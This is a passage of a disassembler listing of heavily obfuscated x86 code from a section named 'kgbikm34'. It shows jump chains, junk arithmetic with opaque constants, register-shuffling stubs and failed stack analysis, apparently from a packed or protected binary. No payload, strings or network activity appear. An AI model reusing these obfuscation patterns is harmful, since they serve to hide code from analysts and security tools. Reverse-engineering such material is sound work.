; =============== S U B	R O U T	I N E =======================================



sub_442435	proc near		; CODE XREF: sub_442340-6EADp
					; sub_444240:loc_43C18Bj ...

; FUNCTION CHUNK AT 0043B1C9 SIZE 00000005 BYTES

		mov	eax, 0CAFEBEADh
		jmp	loc_43B1C9
sub_442435	endp

; ---------------------------------------------------------------------------

loc_44243F:				; CODE XREF: kgbikm34:0044B8E6j
		adc	ebp, 0AFB24048h

loc_442445:				; CODE XREF: kgbikm34:loc_443780j
		and	edx, 0FACB89DAh
		js	loc_437259
; START	OF FUNCTION CHUNK FOR sub_44DD5B

loc_442451:				; CODE XREF: sub_44DD5B+19j
		jmp	nullsub_273
; END OF FUNCTION CHUNK	FOR sub_44DD5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_442456:				; CODE XREF: sub_442B15+8CFFj
		jmp	loc_44B658
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446E38

loc_44245B:				; CODE XREF: sub_446E38+Fj
		jmp	loc_44C260
; END OF FUNCTION CHUNK	FOR sub_446E38
; ---------------------------------------------------------------------------

loc_442460:				; CODE XREF: kgbikm34:00440BCAj
		jmp	sub_445317
; ---------------------------------------------------------------------------
		not	edx
		xor	edi, 1EBB1D5Eh
		push	ebp
		or	edx, ebp
		jmp	loc_437259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_442475:				; CODE XREF: sub_441D2F+4DAFj
		jge	loc_4418DE
; END OF FUNCTION CHUNK	FOR sub_441D2F
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_44247B:				; CODE XREF: sub_4391E0+Aj
		jmp	loc_444028
; END OF FUNCTION CHUNK	FOR sub_4391E0
; ---------------------------------------------------------------------------
		and	edx, 570EECDAh
		xchg	ebp, edx
		adc	ebp, 0E8358958h
		jmp	loc_4418DE
; ---------------------------------------------------------------------------

loc_442493:				; CODE XREF: kgbikm34:00447F89j
		pushf
		add	edx, esi
		popf
; START	OF FUNCTION CHUNK FOR sub_440841

loc_442497:				; CODE XREF: sub_440841:loc_447F76j
		sub	ecx, 0CA68FF04h
		add	ecx, 234823CAh
		xchg	ecx, [esp+0]
		jmp	loc_43794A
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_4424AB:				; CODE XREF: sub_439624+34F9j
		and	ecx, 0B265ED79h
		pushf
		adc	ecx, ebp
		mov	edx, [ebx]
; END OF FUNCTION CHUNK	FOR sub_439624
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_4424B6:				; CODE XREF: sub_43741E+985Aj
					; sub_43741E:loc_442CBAj ...
		jmp	loc_438BEB
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_4424BB:				; CODE XREF: kgbikm34:loc_4375DFj
					; sub_439624+7j ...
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		jmp	loc_43AA64
; END OF FUNCTION CHUNK	FOR sub_439624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_4424C6:				; CODE XREF: sub_43E34D:loc_4449F4j
		jnz	loc_4495A6
		jmp	loc_44BCED
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_4424D1:				; CODE XREF: sub_43D4E9+7j
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44B20C
		push	0B5DF851Ch
		pop	eax
		and	eax, 89A43CF8h
		xor	eax, 7425C28h
		add	eax, 95077350h
		jmp	loc_4414F3
; END OF FUNCTION CHUNK	FOR sub_43D4E9

; =============== S U B	R O U T	I N E =======================================



sub_4424F7	proc near		; DATA XREF: sub_43FDEC+7o

; FUNCTION CHUNK AT 0043A40F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B801 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044743D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004475DF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B432 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C171 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C2B9 SIZE 00000011 BYTES

		cmp	ds:dword_43A8A0, 0
		jnz	loc_43B801
		jmp	loc_43A40F
sub_4424F7	endp

; ---------------------------------------------------------------------------
		jnz	loc_44569D
		jmp	loc_44233E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9AD

loc_442514:				; CODE XREF: sub_44B9AD+9j
		call	sub_43B051
		cmp	eax, [ebp-8]
		jnz	loc_43AB42
		mov	eax, [ebp-14h]
		jmp	loc_43E535
; END OF FUNCTION CHUNK	FOR sub_44B9AD

; =============== S U B	R O U T	I N E =======================================



sub_44252A	proc near		; DATA XREF: kgbikm34:004415E0o
		or	eax, eax
sub_44252A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44252C:				; CODE XREF: sub_43EAEE:loc_439B5Fj
		jnz	loc_44307F
		jmp	loc_445884
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_442537:				; CODE XREF: sub_4474D5+59B2j
		mov	edi, ebx
		xchg	edi, [esp+0]
		push	eax
		pop	ebx
		xchg	ebx, [esp+0]
		jmp	loc_44927D
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_442546:				; CODE XREF: sub_43C167+3ED0j
		mov	edi, eax
		xchg	edi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BEAD

loc_44254C:				; CODE XREF: sub_44BEAD+7j
		jmp	loc_43DE85
; END OF FUNCTION CHUNK	FOR sub_44BEAD

; =============== S U B	R O U T	I N E =======================================



sub_442551	proc near		; CODE XREF: sub_440834-7742p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00443931 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445307 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044924B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B1A6 SIZE 00000005 BYTES

		push	edi
		mov	edi, ebp
		jmp	loc_44B1A6
sub_442551	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_323. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4ED

loc_44255A:				; CODE XREF: sub_43F4ED+C2ABj
		jmp	loc_447E51
; END OF FUNCTION CHUNK	FOR sub_43F4ED
; ---------------------------------------------------------------------------

loc_44255F:				; CODE XREF: kgbikm34:00444228j
		jmp	loc_44D5AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_442564:				; CODE XREF: sub_43D114+5F3Ej
		xchg	ebx, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_43D114
; START	OF FUNCTION CHUNK FOR sub_440443

loc_442567:				; CODE XREF: sub_440443:loc_449B4Ej
		mov	eax, ebx
		pop	ebx
		xor	eax, 0D67B615Fh
		jmp	loc_44054A
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_442575:				; CODE XREF: kgbikm34:loc_438E3Aj
		xor	edx, 0FA6E9B64h
		sub	edx, 0EBE325A7h
		xor	edx, 0E19E45BBh
		sub	edx, 0D5EEADDh
		xor	edx, 0C00C7215h
		jmp	loc_441F78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_260. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_442599:				; CODE XREF: sub_439587+703Ej
		pop	ecx
		jmp	loc_444B81
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44259F:				; CODE XREF: sub_44649E-DC7j
					; sub_44368F+8E95j
		mov	eax, [ebp-24h]
		mov	eax, [eax+4]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		jmp	loc_4454E3
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_4425B0:				; CODE XREF: kgbikm34:00445D3Dj
		jnp	loc_44559F

loc_4425B6:				; CODE XREF: kgbikm34:loc_4396F2j
		push	eax
		lea	eax, loc_4491FE+2
		push	eax
		call	sub_43DC19
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_4425C3:				; CODE XREF: sub_4418C2-9E29j
		jmp	loc_448BDC
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------

loc_4425C8:				; CODE XREF: kgbikm34:0043700Dj
		jmp	loc_43A734

; =============== S U B	R O U T	I N E =======================================



sub_4425CD	proc near		; CODE XREF: kgbikm34:0043E7BBj
					; sub_44AD10-5832p

; FUNCTION CHUNK AT 00445518 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		call	sub_44627C
		push	offset loc_44C6AB
		jmp	loc_445518
sub_4425CD	endp

; ---------------------------------------------------------------------------

loc_4425E1:				; CODE XREF: kgbikm34:0044C291j
		not	edi
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_4425E3:				; CODE XREF: sub_44772C:loc_44C27Bj
		xor	ebx, 9334A557h
		add	eax, ebx
		pop	ebx
		pushf
		push	edx
		push	1E951E2Bh
		pop	edx
		jmp	loc_439D2F
; END OF FUNCTION CHUNK	FOR sub_44772C
; ---------------------------------------------------------------------------

loc_4425F9:				; CODE XREF: kgbikm34:loc_443F2Ej
		ja	loc_446A28
; START	OF FUNCTION CHUNK FOR sub_44CDD6

loc_4425FF:				; CODE XREF: sub_44CDD6+Dj
		cmp	dword ptr [ebp-8], 0A22F8A70h
		push	offset sub_448193
		jmp	nullsub_229
; END OF FUNCTION CHUNK	FOR sub_44CDD6
; ---------------------------------------------------------------------------

loc_442610:				; CODE XREF: kgbikm34:00448E20j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445186

loc_442611:				; CODE XREF: sub_445186+18j
		jmp	loc_442813
; END OF FUNCTION CHUNK	FOR sub_445186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_442616:				; CODE XREF: sub_4474D5:loc_441A26j
		add	eax, 7C392E56h
		rol	eax, 5
		test	eax, 4000h
		jmp	loc_4383F2
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================



sub_44262A	proc near		; CODE XREF: sub_4397CA+9p
					; kgbikm34:00444B02j

; FUNCTION CHUNK AT 00438F84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439FCE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00439FE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00439FF8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043F079 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044162B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A3BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B7A6 SIZE 00000009 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 80h
		jz	loc_439FF8
		jmp	loc_43F079
sub_44262A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_442646:				; CODE XREF: sub_440E0B:loc_43D3C2j
		jz	loc_43B348

loc_44264C:				; CODE XREF: kgbikm34:0043E953j
		jmp	loc_44CCAA
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
		xor	ecx, 5484AFF7h
		mov	[ebp+0], eax
		jmp	loc_43B344
; ---------------------------------------------------------------------------
		mov	eax, 1AABF86Ch
		call	sub_4400C7
		push	edx

loc_44266A:				; CODE XREF: kgbikm34:004472B9j
		mov	edx, edi
		call	sub_447E9A
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_442671:				; CODE XREF: sub_43E4C0+C2C6j
		jmp	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_442676:				; CODE XREF: sub_43FD63-24B2j
		jmp	loc_4442CD
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_44267B:				; CODE XREF: sub_43E4C0-2ABFj
		jmp	nullsub_52
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------

loc_442680:				; CODE XREF: kgbikm34:0043A642j
		jmp	loc_444445
; ---------------------------------------------------------------------------

loc_442685:				; CODE XREF: kgbikm34:004401DEj
		push	374C44E5h
		pop	eax
		rol	eax, 1Bh
		test	eax, 800000h
		jmp	loc_441563
; ---------------------------------------------------------------------------

loc_442699:				; DATA XREF: sub_4450E9+6o
		xchg	ebx, [esp]
		push	ebx
		pop	edx
		pop	ebx
		mov	eax, [esp]
		push	edx
		jmp	loc_43BD3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4417B1

loc_4426A8:				; CODE XREF: sub_4417B1+9B0Bj
		pop	eax
		or	edx, 0D433890Dh
		cmp	edx, 0AC47A4D6h
		jmp	loc_4489EC
; END OF FUNCTION CHUNK	FOR sub_4417B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4488AF

loc_4426BA:				; CODE XREF: sub_4488AF-8207j
		add	eax, ebx
		call	sub_43730F
; END OF FUNCTION CHUNK	FOR sub_4488AF
; START	OF FUNCTION CHUNK FOR sub_43DE11

loc_4426C1:				; CODE XREF: sub_43DE11+Cj
		jmp	loc_442EFB
; END OF FUNCTION CHUNK	FOR sub_43DE11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D3E6

loc_4426C6:				; CODE XREF: sub_43D3E6+10j
		jmp	loc_44B23E
; END OF FUNCTION CHUNK	FOR sub_43D3E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_4426CB:				; CODE XREF: sub_43D4E9:loc_43E975j
					; sub_43D4E9+149Bj
		and	edx, 4C5A9072h
		add	edx, 0B843899Eh

loc_4426D7:				; CODE XREF: kgbikm34:loc_44B009j
		xchg	edx, [esp+0]
		jmp	sub_44B20C
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_4426DF:				; CODE XREF: sub_446F79:loc_44C311j
					; sub_446F79+5479j
		call	sub_43DE11
; END OF FUNCTION CHUNK	FOR sub_446F79
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_4426E4:				; CODE XREF: sub_4429A6:loc_441170j
		xor	edx, eax
		adc	eax, edi
		cmp	edx, ebp
		jmp	loc_43D13C
; END OF FUNCTION CHUNK	FOR sub_4429A6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4426F0:				; CODE XREF: sub_449F77-10360j
		pop	edx
		xor	edx, 677AFF3Bh
		add	edx, 738B798Ah
		xor	edx, 0E27CC0E9h
		add	eax, edx
		pop	edx
		ror	eax, 1Dh
		jmp	loc_44995A
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_43D1D7
; ---------------------------------------------------------------------------
		or	ecx, ebx
		jmp	sub_447800
; ---------------------------------------------------------------------------

loc_44271B:				; CODE XREF: kgbikm34:0044C2B4j
		cmp	esi, edx
		jmp	loc_44450C

; =============== S U B	R O U T	I N E =======================================



sub_442722	proc near		; CODE XREF: sub_439587+1022Dj
		push	ebp
		sbb	edi, 0E0AFA2C4h
sub_442722	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439587

loc_442729:				; CODE XREF: sub_439587:loc_449EF6j
		push	4D2D529Bh
		push	offset loc_44A07A
		jmp	nullsub_261
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_43B1D6

; =============== S U B	R O U T	I N E =======================================



sub_44273E	proc near		; CODE XREF: kgbikm34:0043B04Cj
					; sub_43FF32+3382p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00441BD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004454AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448E9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C188 SIZE 00000005 BYTES

		xchg	ecx, [esp-8+arg_4]
		pop	ecx
		adc	edx, [esp+4]
		jmp	loc_44C188
sub_44273E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_44274B:				; CODE XREF: sub_43DC9A:loc_44B5D2j
		mov	eax, [ebp-4]
		call	sub_448EA4
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_440057
		jmp	loc_447515
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------

loc_442765:				; CODE XREF: kgbikm34:0043DED3j
		jp	loc_43BB34

; =============== S U B	R O U T	I N E =======================================



sub_44276B	proc near		; CODE XREF: sub_44087D-2BB4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00444919 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D8DF SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	ebx
		push	0BE5F0991h
		pop	ebx
		and	ebx, 0D75E8A3Eh
		jmp	loc_444919
sub_44276B	endp

; ---------------------------------------------------------------------------

loc_442782:				; CODE XREF: kgbikm34:0044AC70j
		add	eax, 722301F3h
		push	offset loc_4396E5
		jmp	loc_43749D
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED16

loc_442793:				; CODE XREF: sub_43ED16+2D79j
		jmp	loc_4428A1
; END OF FUNCTION CHUNK	FOR sub_43ED16

; =============== S U B	R O U T	I N E =======================================



sub_442798	proc near		; CODE XREF: sub_43FD63-24BDp
					; sub_43CA80+2326p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044089F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B33A SIZE 00000010 BYTES

		jz	loc_44089F
		push	edi
		mov	edi, ebp
		jmp	loc_44B33A
sub_442798	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_4427A6:				; CODE XREF: sub_444D26:loc_43D81Ej
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443946
		jmp	loc_443F3D
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_4427B4:				; CODE XREF: sub_4429A6:loc_44BA2Fj
		test	ecx, 8
		jmp	loc_43722D
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------

loc_4427BF:				; CODE XREF: kgbikm34:0044B28Dj
		jb	loc_44797F
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_4427C5:				; CODE XREF: kgbikm34:loc_444841j
					; sub_43741E:loc_44A2C8j
		or	edx, 8E568C93h
		xor	edx, 20DEE2D1h
		add	edi, edx
		jmp	loc_447AAF
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_4427D8:				; CODE XREF: sub_43A6C7+12j
		or	eax, eax
		jnz	loc_446765
		jmp	loc_444349
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_4427E5:				; CODE XREF: sub_439003+10243j
		jz	loc_439E39

loc_4427EB:				; CODE XREF: sub_448546+420Bj
		jmp	loc_440466
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C33

loc_4427F0:				; CODE XREF: sub_438C33+Fj
		jmp	loc_44D0C4
; END OF FUNCTION CHUNK	FOR sub_438C33
; ---------------------------------------------------------------------------
		db 0BBh, 25h, 0AEh
		dd 10E9A1A7h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4427FF:				; CODE XREF: sub_438B6B:loc_4487C7j
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44C1B2
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------

locret_44280D:				; CODE XREF: kgbikm34:loc_43D95Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_44280E:				; CODE XREF: sub_43F65B+519Dj
		jmp	loc_4404F6
; END OF FUNCTION CHUNK	FOR sub_43F65B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445186

loc_442813:				; CODE XREF: kgbikm34:loc_439F32j
					; sub_445186:loc_442611j
		sub	eax, 9419DBEAh
		xor	eax, 4677F38Fh
		rol	eax, 3
		jmp	loc_44E0F2
; END OF FUNCTION CHUNK	FOR sub_445186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_442827:				; CODE XREF: sub_43AD9Fj
		mov	eax, ds:dword_4372DC
		or	eax, eax
		jnz	loc_44C14A
		jmp	loc_4409B1
; END OF FUNCTION CHUNK	FOR sub_43AD9F

; =============== S U B	R O U T	I N E =======================================



sub_44283A	proc near		; DATA XREF: sub_43D21A-445Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043F86E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445854 SIZE 00000014 BYTES

		call	sub_43ACD5
		mov	eax, 147A4491h
		push	edx
		push	0B653FCA0h
		pop	edx
		jmp	loc_445854
sub_44283A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_442851:				; CODE XREF: sub_43E34D+7j
		jmp	loc_43B869
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4490AC

loc_442856:				; CODE XREF: sub_4490AC-D8F8j
		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		lea	eax, sub_443DAB
		jmp	loc_43A05C
; END OF FUNCTION CHUNK	FOR sub_4490AC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, edi

loc_44286A:				; CODE XREF: kgbikm34:loc_44A133j
		shr	edx, 13h
		jmp	sub_44658A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_442872:				; CODE XREF: sub_43DF5B:loc_441E01j
					; DATA XREF: sub_44B34A:loc_43866Co
		xchg	ebx, [esp+0]
		push	edi
		push	0E8EE43C6h
		pop	edi
		xor	edi, 7A0A24D0h
		jmp	loc_449EE2
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------

loc_442887:				; CODE XREF: kgbikm34:00442D38j
		jnz	loc_44D6E8
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_442897:				; CODE XREF: sub_43AB97:loc_43E7E4j
					; kgbikm34:loc_4491F4j
		push	offset loc_437343
		jmp	loc_4495CA
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED16

loc_4428A1:				; CODE XREF: kgbikm34:loc_43BC5Bj
					; sub_43ED16:loc_442793j
		xchg	esi, [esp+0]
		push	edx
		pop	edi
		xchg	edi, [esp+0]
		call	sub_44627C
		mov	eax, 0C7CC2482h
		call	sub_43BF6F
		jmp	sub_43F039
; END OF FUNCTION CHUNK	FOR sub_43ED16
; ---------------------------------------------------------------------------
		xor	ebp, esi
		popf
		jmp	sub_44A7FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_4428C5:				; CODE XREF: sub_440443:loc_4474F6j
		jge	loc_445B9E
		rol	edx, 8
		jnp	loc_43F3FE
		push	1E88982Dh
		jmp	loc_43FE27
; END OF FUNCTION CHUNK	FOR sub_440443

; =============== S U B	R O U T	I N E =======================================



sub_4428DE	proc near		; CODE XREF: sub_44114F-525p
					; kgbikm34:00442C08j
		xchg	edi, [esp+0]
		pop	edi
		xor	ebx, 4C235131h
		add	edx, ebx
		pop	ebx
		mov	edx, [edx]
		imul	byte ptr [edx]
		push	offset loc_445AD1
		jmp	nullsub_53
sub_4428DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B292

loc_4428F9:				; CODE XREF: sub_44B292:loc_446C5Fj
		add	eax, 10892EA1h
		xchg	eax, [esp+0]
		jmp	loc_443F38
; END OF FUNCTION CHUNK	FOR sub_44B292
; ---------------------------------------------------------------------------
		xchg	ebp, ebx
		jmp	sub_4492B9
; ---------------------------------------------------------------------------

loc_44290E:				; DATA XREF: kgbikm34:loc_439CD7o
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		call	sub_4481BC
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_442919:				; CODE XREF: sub_443AFD+7D0Cj
		jmp	sub_43A4CE
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449893

loc_44291E:				; CODE XREF: sub_449893-B0F0j
		jmp	loc_448948
; END OF FUNCTION CHUNK	FOR sub_449893
; ---------------------------------------------------------------------------

locret_442923:				; CODE XREF: kgbikm34:loc_438A1Ej
		retn
; ---------------------------------------------------------------------------

loc_442924:				; CODE XREF: kgbikm34:004440F0j
		jmp	loc_43A258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_442929:				; CODE XREF: sub_43C167+4DC9j
		jmp	loc_449509
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_43E238
		call	sub_43C7C6
		mov	esp, ebp
		xchg	edx, [esp]
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44293D:				; CODE XREF: sub_44B6E1:loc_444018j
		mov	ebp, edx
		jmp	loc_44AC10
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_442944:				; CODE XREF: sub_4474D5:loc_445433j
		jnz	loc_44561B
		jmp	loc_448091
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_44294F:				; CODE XREF: kgbikm34:004498F3j
		rol	esi, 15h
		test	esi, 40000h
		jmp	loc_4486E5
; ---------------------------------------------------------------------------
		mov	ebp, esi
		jmp	sub_437B11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_288. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_442965:				; CODE XREF: sub_44DAF3+15j
		jmp	loc_446F91
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44296A:				; CODE XREF: sub_43EAEE+6D9Cj
		jmp	loc_442A60
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_44296F:				; CODE XREF: sub_43AD9F:loc_44CCA0j
		not	ebp
		js	loc_445005
		jmp	loc_440A27
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_44297C:				; CODE XREF: sub_43F5F7+4761j
					; sub_4446F8:loc_44969Aj
		sbb	eax, 31413D89h
		cmp	eax, ebp
		jmp	loc_440EEA
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------

loc_442989:				; CODE XREF: kgbikm34:0043C0AAj
		push	eax
		sbb	ecx, edx
		jmp	loc_43A828
; ---------------------------------------------------------------------------

loc_442991:				; DATA XREF: sub_44BBC0-C12Fo
		xchg	ebx, [esp]
		jmp	loc_441B94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_442999:				; CODE XREF: sub_43BCAD:loc_448758j
		jz	loc_43D401
		jmp	loc_4371FB
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_4429A4:				; CODE XREF: kgbikm34:00439DA9j
		mov	ebx, [edi]

; =============== S U B	R O U T	I N E =======================================



